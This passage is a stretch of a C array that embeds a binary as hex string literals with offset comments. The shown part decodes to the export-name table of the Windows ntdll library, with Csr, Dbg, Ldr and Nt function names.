\"\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x64\\x00\\x43\\x73\\x72\"   //GetProcessId.Csr\n/* 006920 */   \"\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\\x79\\x41\\x6C\\x65\\x72\\x74\\x61\\x62\\x6C\"   //IdentifyAlertabl\n/* 006940 */   \"\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x43\\x73\\x72\\x4E\\x65\\x77\\x54\\x68\"   //eThread.CsrNewTh\n/* 006960 */   \"\\x72\\x65\\x61\\x64\\x00\\x43\\x73\\x72\\x50\\x72\\x6F\\x62\\x65\\x46\\x6F\\x72\"   //read.CsrProbeFor\n/* 006980 */   \"\\x52\\x65\\x61\\x64\\x00\\x43\\x73\\x72\\x50\\x72\\x6F\\x62\\x65\\x46\\x6F\\x72\"   //Read.CsrProbeFor\n/* 0069A0 */   \"\\x57\\x72\\x69\\x74\\x65\\x00\\x43\\x73\\x72\\x53\\x65\\x74\\x50\\x72\\x69\\x6F\"   //Write.CsrSetPrio\n/* 0069C0 */   \"\\x72\\x69\\x74\\x79\\x43\\x6C\\x61\\x73\\x73\\x00\\x44\\x62\\x67\\x42\\x72\\x65\"   //rityClass.DbgBre\n/* 0069E0 */   \"\\x61\\x6B\\x50\\x6F\\x69\\x6E\\x74\\x00\\x44\\x62\\x67\\x50\\x72\\x69\\x6E\\x74\"   //akPoint.DbgPrint\n/* 006A00 */   \"\\x00\\x44\\x62\\x67\\x50\\x72\\x69\\x6E\\x74\\x45\\x78\\x00\\x44\\x62\\x67\\x50\"   //.DbgPrintEx.DbgP\n/* 006A20 */   \"\\x72\\x69\\x6E\\x74\\x52\\x65\\x74\\x75\\x72\\x6E\\x43\\x6F\\x6E\\x74\\x72\\x6F\"   //rintReturnContro\n/* 006A40 */   \"\\x6C\\x43\\x00\\x44\\x62\\x67\\x50\\x72\\x6F\\x6D\\x70\\x74\\x00\\x44\\x62\\x67\"   //lC.DbgPrompt.Dbg\n/* 006A60 */   \"\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x62\\x75\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\"   //QueryDebugFilter\n/* 006A80 */   \"\\x53\\x74\\x61\\x74\\x65\\x00\\x44\\x62\\x67\\x53\\x65\\x74\\x44\\x65\\x62\\x75\"   //State.DbgSetDebu\n/* 006AA0 */   \"\\x67\\x46\\x69\\x6C\\x74\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x44\\x62\\x67\"   //gFilterState.Dbg\n/* 006AC0 */   \"\\x55\\x69\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x54\\x6F\\x44\\x62\\x67\\x00\\x44\"   //UiConnectToDbg.D\n/* 006AE0 */   \"\\x62\\x67\\x55\\x69\\x43\\x6F\\x6E\\x74\\x69\\x6E\\x75\\x65\\x00\\x44\\x62\\x67\"   //bgUiContinue.Dbg\n/* 006B00 */   \"\\x55\\x69\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x61\\x74\\x65\\x43\\x68\"   //UiConvertStateCh\n/* 006B20 */   \"\\x61\\x6E\\x67\\x65\\x53\\x74\\x72\\x75\\x63\\x74\\x75\\x72\\x65\\x00\\x44\\x62\"   //angeStructure.Db\n/* 006B40 */   \"\\x67\\x55\\x69\\x44\\x65\\x62\\x75\\x67\\x41\\x63\\x74\\x69\\x76\\x65\\x50\\x72\"   //gUiDebugActivePr\n/* 006B60 */   \"\\x6F\\x63\\x65\\x73\\x73\\x00\\x44\\x62\\x67\\x55\\x69\\x47\\x65\\x74\\x54\\x68\"   //ocess.DbgUiGetTh\n/* 006B80 */   \"\\x72\\x65\\x61\\x64\\x44\\x65\\x62\\x75\\x67\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\"   //readDebugObject.\n/* 006BA0 */   \"\\x44\\x62\\x67\\x55\\x69\\x49\\x73\\x73\\x75\\x65\\x52\\x65\\x6D\\x6F\\x74\\x65\"   //DbgUiIssueRemote\n/* 006BC0 */   \"\\x42\\x72\\x65\\x61\\x6B\\x69\\x6E\\x00\\x44\\x62\\x67\\x55\\x69\\x52\\x65\\x6D\"   //Breakin.DbgUiRem\n/* 006BE0 */   \"\\x6F\\x74\\x65\\x42\\x72\\x65\\x61\\x6B\\x69\\x6E\\x00\\x44\\x62\\x67\\x55\\x69\"   //oteBreakin.DbgUi\n/* 006C00 */   \"\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x44\\x65\\x62\\x75\\x67\\x4F\\x62\"   //SetThreadDebugOb\n/* 006C20 */   \"\\x6A\\x65\\x63\\x74\\x00\\x44\\x62\\x67\\x55\\x69\\x53\\x74\\x6F\\x70\\x44\\x65\"   //ject.DbgUiStopDe\n/* 006C40 */   \"\\x62\\x75\\x67\\x67\\x69\\x6E\\x67\\x00\\x44\\x62\\x67\\x55\\x69\\x57\\x61\\x69\"   //bugging.DbgUiWai\n/* 006C60 */   \"\\x74\\x53\\x74\\x61\\x74\\x65\\x43\\x68\\x61\\x6E\\x67\\x65\\x00\\x44\\x62\\x67\"   //tStateChange.Dbg\n/* 006C80 */   \"\\x55\\x73\\x65\\x72\\x42\\x72\\x65\\x61\\x6B\\x50\\x6F\\x69\\x6E\\x74\\x00\\x4B\"   //UserBreakPoint.K\n/* 006CA0 */   \"\\x69\\x46\\x61\\x73\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x43\\x61\\x6C\\x6C\\x00\"   //iFastSystemCall.\n/* 006CC0 */   \"\\x4B\\x69\\x46\\x61\\x73\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x43\\x61\\x6C\\x6C\"   //KiFastSystemCall\n/* 006CE0 */   \"\\x52\\x65\\x74\\x00\\x4B\\x69\\x49\\x6E\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x43\"   //Ret.KiIntSystemC\n/* 006D00 */   \"\\x61\\x6C\\x6C\\x00\\x4B\\x69\\x52\\x61\\x69\\x73\\x65\\x55\\x73\\x65\\x72\\x45\"   //all.KiRaiseUserE\n/* 006D20 */   \"\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\"   //xceptionDispatch\n/* 006D40 */   \"\\x65\\x72\\x00\\x4B\\x69\\x55\\x73\\x65\\x72\\x41\\x70\\x63\\x44\\x69\\x73\\x70\"   //er.KiUserApcDisp\n/* 006D60 */   \"\\x61\\x74\\x63\\x68\\x65\\x72\\x00\\x4B\\x69\\x55\\x73\\x65\\x72\\x43\\x61\\x6C\"   //atcher.KiUserCal\n/* 006D80 */   \"\\x6C\\x62\\x61\\x63\\x6B\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x65\\x72\\x00\"   //lbackDispatcher.\n/* 006DA0 */   \"\\x4B\\x69\\x55\\x73\\x65\\x72\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x44\"   //KiUserExceptionD\n/* 006DC0 */   \"\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x65\\x72\\x00\\x4C\\x64\\x72\\x41\\x63\\x63\"   //ispatcher.LdrAcc\n/* 006DE0 */   \"\\x65\\x73\\x73\\x4F\\x75\\x74\\x4F\\x66\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x52\"   //essOutOfProcessR\n/* 006E00 */   \"\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x4C\\x64\\x72\\x41\\x63\\x63\\x65\\x73\"   //esource.LdrAcces\n/* 006E20 */   \"\\x73\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x4C\\x64\\x72\\x41\\x64\\x64\"   //sResource.LdrAdd\n/* 006E40 */   \"\\x52\\x65\\x66\\x44\\x6C\\x6C\\x00\\x4C\\x64\\x72\\x41\\x6C\\x74\\x65\\x72\\x6E\"   //RefDll.LdrAltern\n/* 006E60 */   \"\\x61\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x73\\x45\\x6E\\x61\\x62\"   //ateResourcesEnab\n/* 006E80 */   \"\\x6C\\x65\\x64\\x00\\x4C\\x64\\x72\\x43\\x72\\x65\\x61\\x74\\x65\\x4F\\x75\\x74\"   //led.LdrCreateOut\n/* 006EA0 */   \"\\x4F\\x66\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x6D\\x61\\x67\\x65\\x00\\x4C\"   //OfProcessImage.L\n/* 006EC0 */   \"\\x64\\x72\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x4F\\x75\\x74\\x4F\\x66\\x50\\x72\"   //drDestroyOutOfPr\n/* 006EE0 */   \"\\x6F\\x63\\x65\\x73\\x73\\x49\\x6D\\x61\\x67\\x65\\x00\\x4C\\x64\\x72\\x44\\x69\"   //ocessImage.LdrDi\n/* 006F00 */   \"\\x73\\x61\\x62\\x6C\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x43\\x61\\x6C\\x6C\\x6F\"   //sableThreadCallo\n/* 006F20 */   \"\\x75\\x74\\x73\\x46\\x6F\\x72\\x44\\x6C\\x6C\\x00\\x4C\\x64\\x72\\x45\\x6E\\x75\"   //utsForDll.LdrEnu\n/* 006F40 */   \"\\x6D\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x73\\x00\\x4C\\x64\\x72\\x45\\x6E\"   //mResources.LdrEn\n/* 006F60 */   \"\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x4C\\x6F\\x61\\x64\\x65\\x64\\x4D\\x6F\\x64\"   //umerateLoadedMod\n/* 006F80 */   \"\\x75\\x6C\\x65\\x73\\x00\\x4C\\x64\\x72\\x46\\x69\\x6E\\x64\\x43\\x72\\x65\\x61\"   //ules.LdrFindCrea\n/* 006FA0 */   \"\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\\x61\\x6E\\x69\\x66\\x65\\x73\"   //teProcessManifes\n/* 006FC0 */   \"\\x74\\x00\\x4C\\x64\\x72\\x46\\x69\\x6E\\x64\\x45\\x6E\\x74\\x72\\x79\\x46\\x6F\"   //t.LdrFindEntryFo\n/* 006FE0 */   \"\\x72\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x00\\x4C\\x64\\x72\\x46\\x69\\x6E\\x64\"   //rAddress.LdrFind\n/* 007000 */   \"\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\"   //ResourceDirector\n/* 007020 */   \"\\x79\\x5F\\x55\\x00\\x4C\\x64\\x72\\x46\\x69\\x6E\\x64\\x52\\x65\\x73\\x6F\\x75\"   //y_U.LdrFindResou\n/* 007040 */   \"\\x72\\x63\\x65\\x45\\x78\\x5F\\x55\\x00\\x4C\\x64\\x72\\x46\\x69\\x6E\\x64\\x52\"   //rceEx_U.LdrFindR\n/* 007060 */   \"\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x5F\\x55\\x00\\x4C\\x64\\x72\\x46\\x6C\\x75\"   //esource_U.LdrFlu\n/* 007080 */   \"\\x73\\x68\\x41\\x6C\\x74\\x65\\x72\\x6E\\x61\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\"   //shAlternateResou\n/* 0070A0 */   \"\\x72\\x63\\x65\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x73\\x00\\x4C\\x64\\x72\\x47\\x65\"   //rceModules.LdrGe\n/* 0070C0 */   \"\\x74\\x44\\x6C\\x6C\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x4C\\x64\\x72\\x47\\x65\"   //tDllHandle.LdrGe\n/* 0070E0 */   \"\\x74\\x44\\x6C\\x6C\\x48\\x61\\x6E\\x64\\x6C\\x65\\x45\\x78\\x00\\x4C\\x64\\x72\"   //tDllHandleEx.Ldr\n/* 007100 */   \"\\x47\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x64\\x75\\x72\\x65\\x41\\x64\\x64\\x72\"   //GetProcedureAddr\n/* 007120 */   \"\\x65\\x73\\x73\\x00\\x4C\\x64\\x72\\x48\\x6F\\x74\\x50\\x61\\x74\\x63\\x68\\x52\"   //ess.LdrHotPatchR\n/* 007140 */   \"\\x6F\\x75\\x74\\x69\\x6E\\x65\\x00\\x4C\\x64\\x72\\x49\\x6E\\x69\\x74\\x53\\x68\"   //outine.LdrInitSh\n/* 007160 */   \"\\x69\\x6D\\x45\\x6E\\x67\\x69\\x6E\\x65\\x44\\x79\\x6E\\x61\\x6D\\x69\\x63\\x00\"   //imEngineDynamic.\n/* 007180 */   \"\\x4C\\x64\\x72\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x54\\x68\\x75\"   //LdrInitializeThu\n/* 0071A0 */   \"\\x6E\\x6B\\x00\\x4C\\x64\\x72\\x4C\\x6F\\x61\\x64\\x41\\x6C\\x74\\x65\\x72\\x6E\"   //nk.LdrLoadAltern\n/* 0071C0 */   \"\\x61\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x4D\\x6F\\x64\\x75\\x6C\"   //ateResourceModul\n/* 0071E0 */   \"\\x65\\x00\\x4C\\x64\\x72\\x4C\\x6F\\x61\\x64\\x44\\x6C\\x6C\\x00\\x4C\\x64\\x72\"   //e.LdrLoadDll.Ldr\n/* 007200 */   \"\\x4C\\x6F\\x63\\x6B\\x4C\\x6F\\x61\\x64\\x65\\x72\\x4C\\x6F\\x63\\x6B\\x00\\x4C\"   //LockLoaderLock.L\n/* 007220 */   \"\\x64\\x72\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x52\\x65\\x6C\\x6F\\x63\\x61\\x74\"   //drProcessRelocat\n/* 007240 */   \"\\x69\\x6F\\x6E\\x42\\x6C\\x6F\\x63\\x6B\\x00\\x4C\\x64\\x72\\x51\\x75\\x65\\x72\"   //ionBlock.LdrQuer\n/* 007260 */   \"\\x79\\x49\\x6D\\x61\\x67\\x65\\x46\\x69\\x6C\\x65\\x45\\x78\\x65\\x63\\x75\\x74\"   //yImageFileExecut\n/* 007280 */   \"\\x69\\x6F\\x6E\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x73\\x00\\x4C\\x64\\x72\\x51\\x75\"   //ionOptions.LdrQu\n/* 0072A0 */   \"\\x65\\x72\\x79\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\\x6F\\x64\\x75\\x6C\\x65\"   //eryProcessModule\n/* 0072C0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x4C\\x64\\x72\\x53\"   //Information.LdrS\n/* 0072E0 */   \"\\x65\\x74\\x41\\x70\\x70\\x43\\x6F\\x6D\\x70\\x61\\x74\\x44\\x6C\\x6C\\x52\\x65\"   //etAppCompatDllRe\n/* 007300 */   \"\\x64\\x69\\x72\\x65\\x63\\x74\\x69\\x6F\\x6E\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\"   //directionCallbac\n/* 007320 */   \"\\x6B\\x00\\x4C\\x64\\x72\\x53\\x65\\x74\\x44\\x6C\\x6C\\x4D\\x61\\x6E\\x69\\x66\"   //k.LdrSetDllManif\n/* 007340 */   \"\\x65\\x73\\x74\\x50\\x72\\x6F\\x62\\x65\\x72\\x00\\x4C\\x64\\x72\\x53\\x68\\x75\"   //estProber.LdrShu\n/* 007360 */   \"\\x74\\x64\\x6F\\x77\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x4C\\x64\\x72\"   //tdownProcess.Ldr\n/* 007380 */   \"\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4C\"   //ShutdownThread.L\n/* 0073A0 */   \"\\x64\\x72\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x41\\x6C\\x74\\x65\\x72\\x6E\\x61\\x74\"   //drUnloadAlternat\n/* 0073C0 */   \"\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x4D\\x6F\\x64\\x75\\x6C\\x65\\x00\"   //eResourceModule.\n/* 0073E0 */   \"\\x4C\\x64\\x72\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x44\\x6C\\x6C\\x00\\x4C\\x64\\x72\"   //LdrUnloadDll.Ldr\n/* 007400 */   \"\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x4C\\x6F\\x61\\x64\\x65\\x72\\x4C\\x6F\\x63\\x6B\"   //UnlockLoaderLock\n/* 007420 */   \"\\x00\\x4C\\x64\\x72\\x56\\x65\\x72\\x69\\x66\\x79\\x49\\x6D\\x61\\x67\\x65\\x4D\"   //.LdrVerifyImageM\n/* 007440 */   \"\\x61\\x74\\x63\\x68\\x65\\x73\\x43\\x68\\x65\\x63\\x6B\\x73\\x75\\x6D\\x00\\x4E\"   //atchesChecksum.N\n/* 007460 */   \"\\x6C\\x73\\x41\\x6E\\x73\\x69\\x43\\x6F\\x64\\x65\\x50\\x61\\x67\\x65\\x00\\x4E\"   //lsAnsiCodePage.N\n/* 007480 */   \"\\x6C\\x73\\x4D\\x62\\x43\\x6F\\x64\\x65\\x50\\x61\\x67\\x65\\x54\\x61\\x67\\x00\"   //lsMbCodePageTag.\n/* 0074A0 */   \"\\x4E\\x6C\\x73\\x4D\\x62\\x4F\\x65\\x6D\\x43\\x6F\\x64\\x65\\x50\\x61\\x67\\x65\"   //NlsMbOemCodePage\n/* 0074C0 */   \"\\x54\\x61\\x67\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x70\\x74\\x43\\x6F\\x6E\\x6E\"   //Tag.NtAcceptConn\n/* 0074E0 */   \"\\x65\\x63\\x74\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\"   //ectPort.NtAccess\n/* 007500 */   \"\\x43\\x68\\x65\\x63\\x6B\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\"   //Check.NtAccessCh\n/* 007520 */   \"\\x65\\x63\\x6B\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\"   //eckAndAuditAlarm\n/* 007540 */   \"\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\"   //.NtAccessCheckBy\n/* 007560 */   \"\\x54\\x79\\x70\\x65\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\"   //Type.NtAccessChe\n/* 007580 */   \"\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\"   //ckByTypeAndAudit\n/* 0075A0 */   \"\\x41\\x6C\\x61\\x72\\x6D\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\"   //Alarm.NtAccessCh\n/* 0075C0 */   \"\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\"   //eckByTypeResultL\n/* 0075E0 */   \"\\x69\\x73\\x74\\x00\\x4E\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\"   //ist.NtAccessChec\n/* 007600 */   \"\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\"   //kByTypeResultLis\n/* 007620 */   \"\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x00\\x4E\"   //tAndAuditAlarm.N\n/* 007640 */   \"\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\"   //tAccessCheckByTy\n/* 007660 */   \"\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\"   //peResultListAndA\n/* 007680 */   \"\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\"   //uditAlarmByHandl\n/* 0076A0 */   \"\\x65\\x00\\x4E\\x74\\x41\\x64\\x64\\x41\\x74\\x6F\\x6D\\x00\\x4E\\x74\\x41\\x64\"   //e.NtAddAtom.NtAd\n/* 0076C0 */   \"\\x64\\x42\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\\x00\\x4E\\x74\\x41\\x64\\x6A\"   //dBootEntry.NtAdj\n/* 0076E0 */   \"\\x75\\x73\\x74\\x47\\x72\\x6F\\x75\\x70\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\"   //ustGroupsToken.N\n/* 007700 */   \"\\x74\\x41\\x64\\x6A\\x75\\x73\\x74\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\"   //tAdjustPrivilege\n/* 007720 */   \"\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x4E\\x74\\x41\\x6C\\x65\\x72\\x74\\x52\\x65\"   //sToken.NtAlertRe\n/* 007740 */   \"\\x73\\x75\\x6D\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x41\\x6C\\x65\"   //sumeThread.NtAle\n/* 007760 */   \"\\x72\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x4E\\x74\\x41\\x6C\\x6C\\x6F\\x63\"   //rtThread.NtAlloc\n/* 007780 */   \"\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x6C\\x79\\x55\\x6E\\x69\\x71\\x75\\x65\"   //ateLocallyUnique\n/* 0077A0 */   \"\\x49\\x64\\x00\\x4E\\x74\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x55\\x73\\x65\"   //Id.NtAllocateUse\n/* 0077C0 */   \"\\x72\\x50\\x68\\x79\\x73\\x69\\x63\\x61\\x6C\\x50\\x61\\x67\\x65\\x73\\x00\\x4E\"   //rPhysicalPages.N\n/* 0077E0 */   \"\\x74\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x55\\x75\\x69\\x64\\x73\\x00\\x4E\"   //tAllocateUuids.N\n/* 007800 */   \"\\x74\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\"   //tAllocateVirtual\n/* 007820 */   \"\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x4E\\x74\\x41\\x72\\x65\\x4D\\x61\\x70\\x70\"   //Memory.NtAreMapp\n/* 007840 */   \"\\x65\\x64\\x46\\x69\\x6C\\x65\\x73\\x54\\x68\\x65\\x53\\x61\\x6D\\x65\\x00\\x4E\"   //edFilesTheSame.N\n/* 007860 */   \"\\x74\\x41\\x73\\x73\\x69\\x67\\x6E\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x54\\x6F\"   //tAssignProcessTo\n/* 007880 */   \"\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x43\\x61\\x6C\\x6C\"   //JobObject.NtCall\n/* 0078A0 */   \"\\x62\\x61\\x63\\x6B\\x52\\x65\\x74\\x75\\x72\\x6E\\x00\\x4E\\x74\\x43\\x61\\x6E\"   //backReturn.NtCan\n/* 0078C0 */   \"\\x63\\x65\\x6C\\x44\\x65\\x76\\x69\\x63\\x65\\x57\\x61\\x6B\\x65\\x75\\x70\\x52\"   //celDeviceWakeupR\n/* 0078E0 */   \"\\x65\\x71\\x75\\x65\\x73\\x74\\x00\\x4E\\x74\\x43\\x61\\x6E\\x63\\x65\\x6C\\x49\"   //equest.NtCancelI\n/* 007900 */   \"\\x6F\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x43\\x61\\x6E\\x63\\x65\\x6C\\x54\\x69\"   //oFile.NtCancelTi\n/* 007920 */   \"\\x6D\\x65\\x72\\x00\\x4E\\x74\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\"   //mer.NtClearEvent\n/* 007940 */   \"\\x00\\x4E\\x74\\x43\\x6C\\x6F\\x73\\x65\\x00\\x4E\\x74\\x43\\x6C\\x6F\\x73\\x65\"   //.NtClose.NtClose\n/* 007960 */   \"\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\"   //ObjectAuditAlarm\n/* 007980 */   \"\\x00\\x4E\\x74\\x43\\x6F\\x6D\\x70\\x61\\x63\\x74\\x4B\\x65\\x79\\x73\\x00\\x4E\"   //.NtCompactKeys.N\n/* 0079A0 */   \"\\x74\\x43\\x6F\\x6D\\x70\\x61\\x72\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x73\\x00\\x4E\"   //tCompareTokens.N\n/* 0079C0 */   \"\\x74\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x65\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\"   //tCompleteConnect\n/* 0079E0 */   \"\\x50\\x6F\\x72\\x74\\x00\\x4E\\x74\\x43\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\\x4B\"   //Port.NtCompressK\n/* 007A00 */   \"\\x65\\x79\\x00\\x4E\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x50\\x6F\\x72\\x74\"   //ey.NtConnectPort\n/* 007A20 */   \"\\x00\\x4E\\x74\\x43\\x6F\\x6E\\x74\\x69\\x6E\\x75\\x65\\x00\\x4E\\x74\\x43\\x72\"   //.NtContinue.NtCr\n/* 007A40 */   \"\\x65\\x61\\x74\\x65\\x44\\x65\\x62\\x75\\x67\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\"   //eateDebugObject.\n/* 007A60 */   \"\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\"   //NtCreateDirector\n/* 007A80 */   \"\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\"   //yObject.NtCreate\n/* 007AA0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x45\\x76\"   //Event.NtCreateEv\n/* 007AC0 */   \"\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\"   //entPair.NtCreate\n/* 007AE0 */   \"\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x49\\x6F\\x43\"   //File.NtCreateIoC\n/* 007B00 */   \"\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\"   //ompletion.NtCrea\n/* 007B20 */   \"\\x74\\x65\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x4E\\x74\\x43\\x72\"   //teJobObject.NtCr\n/* 007B40 */   \"\\x65\\x61\\x74\\x65\\x4A\\x6F\\x62\\x53\\x65\\x74\\x00\\x4E\\x74\\x43\\x72\\x65\"   //eateJobSet.NtCre\n/* 007B60 */   \"\\x61\\x74\\x65\\x4B\\x65\\x79\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x4B\"   //ateKey.NtCreateK\n/* 007B80 */   \"\\x65\\x79\\x65\\x64\\x45\\x76\\x65\\x6E\\x74\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\"   //eyedEvent.NtCrea\n/* 007BA0 */   \"\\x74\\x65\\x4D\\x61\\x69\\x6C\\x73\\x6C\\x6F\\x74\\x46\\x69\\x6C\\x65\\x00\\x4E\"   //teMailslotFile.N\n/* 007BC0 */   \"\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x4D\\x75\\x74\\x61\\x6E\\x74\\x00\\x4E\\x74\"   //tCreateMutant.Nt\n/* 007BE0 */   \"\\x43\\x72\\x65\\x61\\x74\\x65\\x4E\\x61\\x6D\\x65\\x64\\x50\\x69\\x70\\x65\\x46\"   //CreateNamedPipeF\n/* 007C00 */   \"\\x69\\x6C\\x65\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x61\\x67\\x69\"   //ile.NtCreatePagi\n/* 007C20 */   \"\\x6E\\x67\\x46\\x69\\x6C\\x65\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x50\"   //ngFile.NtCreateP\n/* 007C40 */   \"\\x6F\\x72\\x74\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\"   //ort.NtCreateProc\n/* 007C60 */   \"\\x65\\x73\\x73\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\"   //ess.NtCreateProc\n/* 007C80 */   \"\\x65\\x73\\x73\\x45\\x78\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\"   //essEx.NtCreatePr\n/* 007CA0 */   \"\\x6F\\x66\\x69\\x6C\\x65\\x00\\x4E\\x74\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\"   //ofile.NtCreateSe\n/* 007CC0 */   